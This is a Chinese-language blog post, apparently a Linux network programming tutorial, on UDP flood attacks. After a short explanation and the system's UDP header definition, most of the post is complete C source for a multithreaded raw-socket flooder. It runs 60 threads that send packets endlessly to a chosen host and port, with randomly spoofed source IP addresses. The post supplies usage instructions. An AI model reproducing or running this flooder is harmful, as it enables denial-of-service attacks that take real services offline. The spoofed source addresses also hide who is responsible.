天天看點

Linux網絡程式設計---UDP洪水攻擊

UDP攻擊,又稱UDP洪水攻擊或UDP淹沒攻擊(英文:UDP Flood Attack)是導緻基於主機的服務拒絕攻擊的一種。UDP 是一種無連接配接的協定,而且它不需要用任何程式建立連接配接來傳輸資料。當受害系統接收到一個 UDP 資料包的時候,它會确定目的端口正在等待中的 應用程式。當它發現該端口中并不存在正在等待的應用程式,它就會産生一個目的位址無法連接配接的 ICMP資料包發送給該僞造的源位址。如果向受害者計算機端口發送了足夠多的 UDP 資料包的時候,整個系統就會癱瘓。

下面是UDP封包格式:

Linux網絡程式設計---UDP洪水攻擊

Linux系統中定義的UDP封包格式:

#ifndef __NETINET_UDP_H
#define __NETINET_UDP_H    1

#include <features.h>
#include <sys/types.h>


/* UDP header as specified by RFC 768, August 1980. */

struct udphdr
{
  __extension__ union
  {
    struct
    {
      u_int16_t uh_sport;		/* source port */
      u_int16_t uh_dport;		/* destination port */
      u_int16_t uh_ulen;		/* udp length */
      u_int16_t uh_sum;		/* udp checksum */
    };
    struct
    {
      u_int16_t source;
      u_int16_t dest;
      u_int16_t len;
      u_int16_t check;
    };
  };
};

/* UDP socket options */
#define UDP_CORK	1	/* Never send partially complete segments.  */
#define UDP_ENCAP	100	/* Set the socket to accept
				   encapsulated packets.  */

/* UDP encapsulation types */
#define UDP_ENCAP_ESPINUDP_NON_IKE 1	/* draft-ietf-ipsec-nat-t-ike-00/01 */
#define UDP_ENCAP_ESPINUDP	2	/* draft-ietf-ipsec-udp-encaps-06 */
#define UDP_ENCAP_L2TPINUDP	3	/* rfc2661 */

#define SOL_UDP            17      /* sockopt level for UDP */

#endif /* netinet/udp.h */
           

接觸了前面的執行個體後,編寫UDP封包是很簡單的,下面是執行個體代碼:

//udp攻擊
//使用方法:./udp hostname  destport
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <pthread.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <string.h>
#include <syslog.h>
#include <arpa/inet.h>
#include <setjmp.h>
#include <errno.h>
//最多線程數
#define MAXCHILD 60
//目的IP位址
struct sockaddr_in dest;
static int PROTO_UDP=-1;
static int alive=-1;
int rawsock;
//信号處理函數,設定退出變量alive
void DoS_sig(int signo)
{
    alive = 0;
}
//計算校驗和
unsigned short checksum(unsigned char *buf,int len)
{
    unsigned int sum=0;
    unsigned short *cbuf;
    
    cbuf=(unsigned short *)buf;
    
    while(len>1)
    {
        sum+=*cbuf++;
        len-=2;  //剩餘尚未累加的16比特的個數
    }
    
    if(len) //若len的長度不是偶數
        sum+=*(unsigned char *)cbuf; //用最後一個位元組補齊
    
    //防溢出處理
    sum=(sum>>16)+(sum & 0xffff);
    sum+=(sum>>16);
    return ~sum;
}
void DoS_Udp (int port)
{
    struct sockaddr_in to;
    struct ip *iph;
    struct udphdr *udp;
    char *packet;
    int pktsize = sizeof (struct ip) + sizeof (struct udphdr) + 64;
    packet =(char *)malloc (pktsize);
    iph = (struct ip *) packet; //定位IP報頭部
    udp = (struct udphdr *) (packet + sizeof (struct ip)); //定位上層協定位置(udp封包頭部)
    memset (packet, 0, pktsize);
    
    //IP的版本,IPv4
    iph->ip_v = 4;
    //IP頭部長度,位元組數
    iph->ip_hl = 5;
    //服務類型
    iph->ip_tos = 0;
    //IP封包的總長度
    iph->ip_len = htons (pktsize);
    //辨別,設定為PID
    iph->ip_id = htons (getpid ());
    //段的偏移位址
    iph->ip_off = 0;
    //TTL
    iph->ip_ttl = 255;
    //協定類型
    iph->ip_p = PROTO_UDP;
    //校驗和,先填寫為0
    iph->ip_sum = 0;
    
    //發送的源位址,随機建立
    iph->ip_src.s_addr =random();
    
    //發送目标位址
    iph->ip_dst = dest.sin_addr;
    
    
    
    udp->uh_sport=random();
    udp->uh_dport=htons(port);
    
    udp->uh_ulen=sizeof(udphdr)+64;
    udp->uh_sum=0;
    udp->uh_sum=checksum((unsigned char*)udp, sizeof(udphdr)+64);
    //填寫發送目的位址部分
    to.sin_family =  AF_INET;
    to.sin_addr = dest.sin_addr;
    to.sin_port = htons(0);
    //發送資料
    sendto (rawsock, packet, pktsize, 0, (struct sockaddr *) &to, sizeof (struct sockaddr));
    //放記憶體
    free (packet);
}
void *DoS_fun (void *port)
{
    while(alive)
    {
        DoS_Udp(*(int*)port);
       // break;
        
    }
    return NULL;
}
int main(int argc,char **argv)
{
    int port;
    struct hostent *host;
    struct protoent *protocol;
    char protoname[]="udp";
    pthread_t pthread[MAXCHILD]; //線程标志數組
    socklen_t on=1;
    alive = 1;
    //截取信号CTRL+C
    signal(SIGINT, DoS_sig);//設定信号處理函數
    // 參數是否數量正确
    if(argc < 3)
    {
        printf("usage : \n");
        return -1;
    }
    port=atoi(argv[2]);
    protocol=getprotobyname(protoname);
    PROTO_UDP=protocol->p_proto;
    dest.sin_addr.s_addr = inet_addr(argv[1]);
    if(dest.sin_addr.s_addr == INADDR_NONE)
    {
        //為DNS位址
        host = gethostbyname(argv[1]);
        if(host == NULL)
        {
            perror("gethostbyname");
            return -1;
            
        }
        char str[30];
        //  printf("host:%s\n",inet_ntop(host->h_addrtype,host->h_addr,str,30));
        struct in_addr in;
        memcpy(&in.s_addr,host->h_addr_list[0],sizeof(in.s_addr));
        //printf("ip:%s\n",inet_ntoa(in));
        dest.sin_addr=in;
        
        
    }
    printf("ip:%s\n",inet_ntoa(dest.sin_addr));
    // 建立原始socket
    rawsock = socket (AF_INET, SOCK_RAW, PROTO_UDP);
    if (rawsock < 0)
    {
        perror("socket error");
        exit(1);
    }
    // 設定IP選項,自己建構IP報頭部
    setsockopt (rawsock,IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
    //建立多個線程協同工作
    for(int i=0; i<MAXCHILD; i++)
    {
        pthread_create(&pthread[i], NULL, DoS_fun, (void *)&port);
    }
    //等待線程結束
    for(int i=0; i<MAXCHILD; i++)
        pthread_join(pthread[i], NULL);
    
    printf("over \n");
    close(rawsock);
    
    return 0;
}
           

結果抓包:

Linux網絡程式設計---UDP洪水攻擊

繼續閱讀